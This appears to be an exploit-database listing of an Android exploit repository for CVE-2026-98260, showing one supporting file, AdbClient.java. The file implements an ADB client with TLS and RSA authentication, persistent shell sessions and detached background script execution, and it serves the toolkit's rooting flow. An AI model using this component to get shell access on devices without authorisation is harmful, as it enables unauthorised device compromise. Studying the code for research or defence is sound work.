Exploit databaseDownload repository ZIP
GH-b2682eea148b61d664fff913b24cc4d4
lw5959/xring-cve-2026-98260
Sources for CVE-2026-98260
62 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files22
lw5959/xring-cve-2026-98260Revision 8b404774be19
- ↑..Parent directory
- AdbClient.java
- AdbCrypto.java
- AdbMdns.java
- AppProbe.java
- Channel.java
- CmdReceiver.java
- Io.java
- Kit.java
- LogBus.java
- MainActivity.java
- OcNative.java
- OcService.java
- Orchestrator.java
- Pairing.java
- PairingService.java
- Root.java
- RootFlow.java
- ShizukuHelper.java
- Steps.java
- TcpShell.java
- Ui.java
- UserService.java
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
apk/app/java/o3/xring/cve98260/AdbClient.java
Java · 18,008 bytespackage o3.xring.cve98260;
import java.io.ByteArrayOutputStream;
import java.io.Closeable;
import java.io.IOException;
import java.net.InetSocketAddress;
import java.net.Socket;
import java.net.SocketTimeoutException;
import java.nio.charset.StandardCharsets;
import java.util.zip.CRC32;
/**
* adb 协议最小客户端(机内回环/无线调试用):CNXN → (可选 A_STLS 升级 TLS) → AUTH → shell 流。
*
* 报文格式(24 字节头,全 little-endian):
* command | arg0 | arg1 | data_length | data_crc32 | magic(=command^0xffffffff)
* 与 Shizuku 的 AdbClient.kt 同序:先发明文 CNXN;若 adbd 回 A_STLS 则回 A_STLS 后升级 TLS。
*/
public final class AdbClient implements Closeable {
/** 当前活跃 socket:用户拒绝/无视"允许 USB 调试"弹窗时,这条连接会一直挂着,
* stop 必须能强关它(否则编排线程卡死、停止也停不下来)。 */
static volatile Socket LAST_SOCKET = null;
/** 全局通道锁:libocpair/TLS 会话不支持并发连接,app 内所有 adb 连接串行执行。 */
public static final Object CHANNEL_LOCK = new Object();
/** 最近一次"连接成功"的时间:UI 用它认定"无线调试其实是通的",避免误提示去打开。 */
public static volatile long lastOpenOkAt = 0;
/** 强关当前活跃连接(供"停止"调用)。 */
public static void abortActive() {
Socket s = LAST_SOCKET;
LAST_SOCKET = null;
if (s != null) {
try {
s.close();
} catch (Throwable ignored) {
}
}
}
public static final int A_CNXN = 0x4e584e43;
public static final int A_AUTH = 0x48545541;
public static final int A_OPEN = 0x4e45504f;
public static final int A_OKAY = 0x59414b4f;
public static final int A_CLSE = 0x45534c43;
public static final int A_WRTE = 0x45545257;
public static final int A_STLS = 0x534c5453;
public static final int A_VERSION = 0x01000000;
public static final int A_STLS_VERSION = 0x01000000;
private static final int AUTH_TOKEN = 1;
private static final int AUTH_SIGNATURE = 2;
private static final int AUTH_RSAPUBLICKEY = 3;
private static final int MAX_PAYLOAD = 256 * 1024;
/** 通道建立后打开:逐条命令不再打握手细节(否则日志全被 CNXN/TLS 刷屏) */
public static volatile boolean QUIET = false;
private final Socket sock;
private Io io;
private final AdbCrypto crypto;
private final LogBus.Sink log;
int nextId = 1;
Socket socket() { return sock; }
private boolean tls;
private AdbClient(Socket sock, Io io, AdbCrypto crypto, LogBus.Sink log) {
this.sock = sock;
this.io = io;
this.crypto = crypto;
this.log = log;
}
// ------------------------------------------------------------------ 握手
public static AdbClient open(String host, int port, AdbCrypto crypto, LogBus.Sink log,
int connectTimeoutMs, int authTimeoutMs) throws IOException {
Socket s = new Socket();
LAST_SOCKET = s;
s.connect(new InetSocketAddress(host, port), connectTimeoutMs);
lastOpenOkAt = System.currentTimeMillis(); // ★连接成功才登记(无线调试确实是通的)
s.setTcpNoDelay(true);
// 不设置 SoTimeout:SO_RCVTIMEO 会让底层 recv 返回 EAGAIN,BoringSSL 把
// SSL_read 返回 -1(WANT_READ),我们目前不处理重试 ⇒ 被误判成通道断开。
// TLS 读超时统一由 libocpair 的 poll 控制。
s.setSoTimeout(0);
AdbClient c = new AdbClient(s, new Io.SocketIo(s), crypto, log);
try {
c.handshake(authTimeoutMs);
} catch (IOException e) {
try {
c.close();
} catch (Throwable ignored) {
}
throw e;
}
return c;
}
private void handshake(int authTimeoutMs) throws IOException {
send(A_CNXN, A_VERSION, MAX_PAYLOAD, "host::".getBytes(StandardCharsets.UTF_8));
int tokens = 0;
long deadline = System.currentTimeMillis() + authTimeoutMs;
boolean first = true;
while (true) {
if (System.currentTimeMillis() > deadline) {
throw new IOException("auth timeout(未授权?先「配对」,或把公钥写进 /data/misc/adb/adb_keys)");
}
Pkt p = read();
if (first) {
first = false;
if (p.cmd == A_STLS) {
// ★设备报什么版本就回什么版本(以前硬编码 0x01000000:对端的 adbd 若报 ver=0
// (老 adbd / 特定 ROM),版本对不上 ⇒ adbd 握完 TLS 立刻关连接
// ⇒ 表现为 tlsRead r=-1、被误判成"无线调试没开"。实测另一台设备就是这种。)
int replyVer = (p.arg0 != 0) ? p.arg0 : A_STLS_VERSION;
note("adbd 要求 TLS(A_STLS ver=0x" + Integer.toHexString(p.arg0)
+ ")→ 以 0x" + Integer.toHexString(replyVer) + " 升级");
send(A_STLS, replyVer, 0, null);
long h = OcNative.tlsWrap(Io.Fd.of(sock), crypto.pkcs8(), false);
if (h == 0) {
throw new IOException("TLS 握手失败(见 logcat ocpair)");
}
io = new Io.TlsIo(h);
tls = true;
note("TLS 已建立");
// 本 ROM adbd 在 TLS 升级后自己发 CNXN;额外重发会导致随后 OPEN 被丢弃
continue;
}
}
if (p.cmd == A_CNXN) {
note("CNXN " + new String(p.data, StandardCharsets.UTF_8).trim()
+ " (ver=0x" + Integer.toHexString(p.arg0) + " maxdata=" + p.arg1 + ")"
+ (tls ? " [TLS]" : " [plain]"));
return;
}
if (p.cmd == A_AUTH && p.arg0 == AUTH_TOKEN) {
tokens++;
if (tokens == 1) {
note("AUTH token #1 → 发签名");
send(A_AUTH, AUTH_SIGNATURE, 0, sign(p.data));
} else if (tokens == 2) {
note("!! 手机弹「允许 USB 调试」→ 请勾选【一律允许使用这台计算机进行调试】再点允许"
+ "(只此一次,之后不再弹;adb_keys 由 system_server 管,绕不过去)");
send(A_AUTH, AUTH_RSAPUBLICKEY, 0,
(crypto.pubkeyLine("o3.xring.cve98260") + "\0").getBytes(StandardCharsets.UTF_8));
} else {
note("AUTH token #" + tokens + " → 再试签名(等授权)");
send(A_AUTH, AUTH_SIGNATURE, 0, sign(p.data));
}
continue;
}
note("握手期报文 cmd=0x" + Integer.toHexString(p.cmd) + " arg0=" + p.arg0);
}
}
// ------------------------------------------------------------------ 执行
/** 一条命令一个连接(等价 adb shell "cmd")。 */
public static String execOnce(String host, int port, AdbCrypto crypto, LogBus.Sink log,
String cmd, int timeoutMs) throws IOException {
synchronized (CHANNEL_LOCK) {
AdbClient c = open(host, port, crypto, log, 5000, 20000);
try {
return c.exec(cmd, timeoutMs);
} finally {
try {
c.close();
} catch (Throwable ignored) {
}
}
}
}
public String exec(String cmd, int timeoutMs) throws IOException {
int local = nextId++;
note("OPEN #" + local + " shell:" + (cmd.length() > 80 ? cmd.substring(0, 80) + "…" : cmd));
send(A_OPEN, local, 0, ("shell:" + cmd).getBytes(StandardCharsets.UTF_8));
ByteArrayOutputStream buf = new ByteArrayOutputStream();
long deadline = System.currentTimeMillis() + timeoutMs;
while (true) {
long left = deadline - System.currentTimeMillis();
if (left <= 0) {
buf.write(("\n[OC_TIMEOUT " + timeoutMs + "ms]").getBytes(StandardCharsets.UTF_8));
break;
}
try {
sock.setSoTimeout((int) Math.min(left, 30000));
} catch (Throwable ignored) {
}
Pkt p;
try {
p = read();
} catch (SocketTimeoutException te) {
continue;
}
if (p.cmd == A_OKAY) {
note("OKAY #" + p.arg0 + "/" + p.arg1);
} else if (p.cmd == A_WRTE) {
if (p.data.length > 0) {
buf.write(p.data);
send(A_OKAY, local, p.arg0, null);
}
} else if (p.cmd == A_CLSE) {
break;
}
}
try {
send(A_CLSE, local, 0, null);
} catch (Throwable ignored) {
}
return new String(buf.toByteArray(), StandardCharsets.UTF_8);
}
/** 带重试的 execOnce:TLS 新连接偶发 SSL_ERROR_SSL,重试可绕过。 */
public static String execOnceRetry(String host, int port, AdbCrypto crypto, LogBus.Sink log,
String cmd, int timeoutMs, int attempts) throws IOException {
IOException last = null;
for (int i = 0; i < attempts; i++) {
try {
return execOnce(host, port, crypto, log, cmd, timeoutMs);
} catch (IOException e) {
last = e;
if (i + 1 < attempts) {
try {
Thread.sleep(600);
} catch (InterruptedException ignored) {
}
}
}
}
throw last;
}
/** 后台拉起(setsid,脱离 adbd 会话)。 */
public static String execDetached(String host, int port, AdbCrypto crypto, LogBus.Sink log,
String script, String logFile) throws IOException {
String inner = "setsid sh " + script
+ (logFile == null ? "" : " >> " + logFile + " 2>&1")
+ " </dev/null >/dev/null 2>&1 & echo OC_DETACHED";
return execOnce(host, port, crypto, log, inner, 15000);
}
// ------------------------------------------------------------------ 持久 shell 会话
/**
* 一条连接跑多条命令(OPEN "shell:" 交互 shell + 标记分割)。
* 为什么必须这样:每条命令新开连接 ⇒ 每次都走一遍 AUTH ⇒ 密钥没登记时**每次弹一个授权框**
* (真机症状:"一直弹")。整轮共用一条会话就没这问题,而且快得多。
*/
public static final class Shell implements Closeable {
private final AdbClient c;
private final int localId;
private final int remoteId;
private Shell(AdbClient c, int localId, int remoteId) {
this.c = c;
this.localId = localId;
this.remoteId = remoteId;
}
public static Shell open(String host, int port, AdbCrypto crypto, LogBus.Sink log,
int connectTimeoutMs, int authTimeoutMs) throws IOException {
AdbClient c = AdbClient.open(host, port, crypto, log, connectTimeoutMs, authTimeoutMs);
int id = c.nextId++;
// ★用 "shell:sh" 而不是 "shell:":后者给的是**交互式** shell(回显/提示符/长行折行,
// 真机实测把命令截断成乱码);"sh -c sh" 起的是**非交互** sh,读 stdin 逐条执行,
// 干净无回显 —— 而且整轮只占一条连接,明文 5555 下不会每条命令弹一次授权。
c.send(A_OPEN, id, 0, "shell:sh".getBytes(StandardCharsets.UTF_8));
long deadline = System.currentTimeMillis() + 20000;
while (System.currentTimeMillis() < deadline) {
Pkt p = c.read();
if (p.cmd == A_OKAY && p.arg1 == id) {
Shell sh = new Shell(c, id, p.arg0);
// ★有些 ROM 的 sh 仍会打提示符(7U 实测 `jinghu:/ $` 混进输出 ⇒ 标记匹配失败)
// 会话一建立就把 PS1 清空,从根上消除提示符污染。
// ★2026-10-18:顺手关掉 pty 回显(stty -echo)——真机日志里命令被回显+折行
// 覆盖成乱码(用户截图里 `"/storage/emulh /data/local/tmp/...` 即由此而来),
// 既污染日志,也会让"命令是否被截断"变得无法判断。
try { sh.run("PS1=; export PS1=; unset PROMPT_COMMAND; stty -echo 2>/dev/null", 4000); } catch (Throwable ignore) { }
return sh;
}
if (p.cmd == A_CLSE) {
c.close();
throw new IOException("shell 服务被拒");
}
}
c.close();
throw new IOException("shell 打开超时");
}
/** 发一条命令,读到 __OCE__<rc> 标记为止。 */
public synchronized String run(String cmd, int timeoutMs) throws IOException {
c.send(A_WRTE, localId, remoteId,
(cmd + "\necho __OCE__$?\n").getBytes(StandardCharsets.UTF_8));
StringBuilder sb = new StringBuilder();
long deadline = System.currentTimeMillis() + timeoutMs;
while (System.currentTimeMillis() < deadline) {
try {
c.socket().setSoTimeout((int) Math.min(20000, Math.max(2000, deadline - System.currentTimeMillis())));
} catch (Throwable ignored) {
}
Pkt p;
try {
p = c.read();
} catch (SocketTimeoutException te) {
continue;
}
if (p.cmd == A_WRTE) {
sb.append(new String(p.data, StandardCharsets.UTF_8));
c.send(A_OKAY, localId, p.arg0, null);
if (sb.indexOf("\n__OCE__") >= 0 || sb.indexOf("__OCE__") == 0) {
break;
}
} else if (p.cmd == A_CLSE) {
throw new IOException("shell 会话被关闭");
}
}
String out = sb.toString();
int i = out.lastIndexOf("__OCE__");
return i > 0 ? out.substring(0, i) : out;
}
@Override
public void close() {
try {
c.send(A_CLSE, localId, remoteId, null);
} catch (Throwable ignored) {
}
try {
c.close();
} catch (Throwable ignored) {
}
}
}
// ------------------------------------------------------------------ 报文
private static final class Pkt {
int cmd, arg0, arg1;
byte[] data = new byte[0];
}
Pkt read() throws IOException {
byte[] h = new byte[24];
io.readFully(h, 0, 24);
int cmd = le32(h, 0), arg0 = le32(h, 4), arg1 = le32(h, 8);
int len = le32(h, 12), magic = le32(h, 20);
if (magic != (cmd ^ 0xffffffff)) {
throw new IOException("adb 报文 magic 不符: cmd=0x" + Integer.toHexString(cmd)
+ " magic=0x" + Integer.toHexString(magic));
}
Pkt p = new Pkt();
p.cmd = cmd;
p.arg0 = arg0;
p.arg1 = arg1;
if (len < 0 || len > 4 * 1024 * 1024) {
throw new IOException("adb 报文长度异常: " + len);
}
if (len > 0) {
p.data = new byte[len];
io.readFully(p.data, 0, len);
}
return p;
}
void send(int cmd, int arg0, int arg1, byte[] data) throws IOException {
int len = data == null ? 0 : data.length;
CRC32 crc = new CRC32();
if (len > 0) {
crc.update(data, 0, len);
}
ByteArrayOutputStream h = new ByteArrayOutputStream(24);
putLe32(h, cmd);
putLe32(h, arg0);
putLe32(h, arg1);
putLe32(h, len);
putLe32(h, (int) crc.getValue());
putLe32(h, cmd ^ 0xffffffff);
byte[] head = h.toByteArray();
byte[] all = new byte[24 + len];
System.arraycopy(head, 0, all, 0, 24);
if (len > 0) {
System.arraycopy(data, 0, all, 24, len);
}
synchronized (io) {
io.write(all, 0, all.length);
}
}
private byte[] sign(byte[] token) throws IOException {
try {
return crypto.signToken(token);
} catch (Exception e) {
throw new IOException("签名失败: " + e);
}
}
private static void putLe32(ByteArrayOutputStream o, int v) {
o.write(v & 0xff);
o.write((v >> 8) & 0xff);
o.write((v >> 16) & 0xff);
o.write((v >> 24) & 0xff);
}
private static int le32(byte[] b, int off) {
return (b[off] & 0xff) | ((b[off + 1] & 0xff) << 8)
| ((b[off + 2] & 0xff) << 16) | ((b[off + 3] & 0xff) << 24);
}
private void note(String s) {
if (log == null || (QUIET && !s.startsWith("!!"))) {
return;
}
log.onLine("[adb] " + s);
}
@Override
public void close() {
try {
io.close();
} catch (Throwable ignored) {
}
try {
sock.close();
} catch (Throwable ignored) {
}
}
}